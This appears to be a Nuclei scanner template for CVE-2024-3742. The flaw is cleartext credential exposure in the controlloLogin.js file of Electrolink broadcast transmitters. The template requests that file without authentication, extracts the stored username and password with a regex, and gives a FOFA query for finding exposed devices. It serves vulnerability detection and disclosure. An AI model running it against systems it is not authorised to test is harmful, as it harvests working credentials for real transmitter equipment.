id: CVE-2024-3742

info:
  name: Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure
  author: Farish
  severity: high
  description: |
    Electrolink transmitters store credentials in clear-text. Use of these credentials could allow an attacker to access the system.
  impact: |
    Unauthenticated attackers can access cleartext credentials stored in controlloLogin.js, allowing system access.
  remediation: |
    Update Electrolink FM/DAB/TV Transmitter to a version that encrypts credentials properly.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5790.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3742
    - https://packetstormsecurity.com/files/174875/
    - https://www.cisa.gov/news-events/ics-advisories/icsa-24-107-02
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-3742
    cwe-id: CWE-312
    epss-score: 0.0143
    epss-percentile: 0.69533
  metadata:
    verified: true
    max-request: 1
    fofa-query: "Electrolink s.r.l."
  tags: packetstorm,cve,cve2024,electrolink,info-leak,vuln

http:
  - raw:
      - |
        GET /controlloLogin.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/x-javascript")'
          - 'contains(body, "user==") && contains(body, "password==")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - user\s*==\s*'([^']*)'\s*&&\s*password\s*==\s*'([^']*)'
# digest: 490a0046304402203b04ea323af06e76afa9fce456bd9446f2510255a5606ba42b50d10d5b777a84022053c028cf128dc451415daeebe5e3d026351aa53da1c28adc1a321bd138bc2964:922c64590222798bb761d5b6d8e72950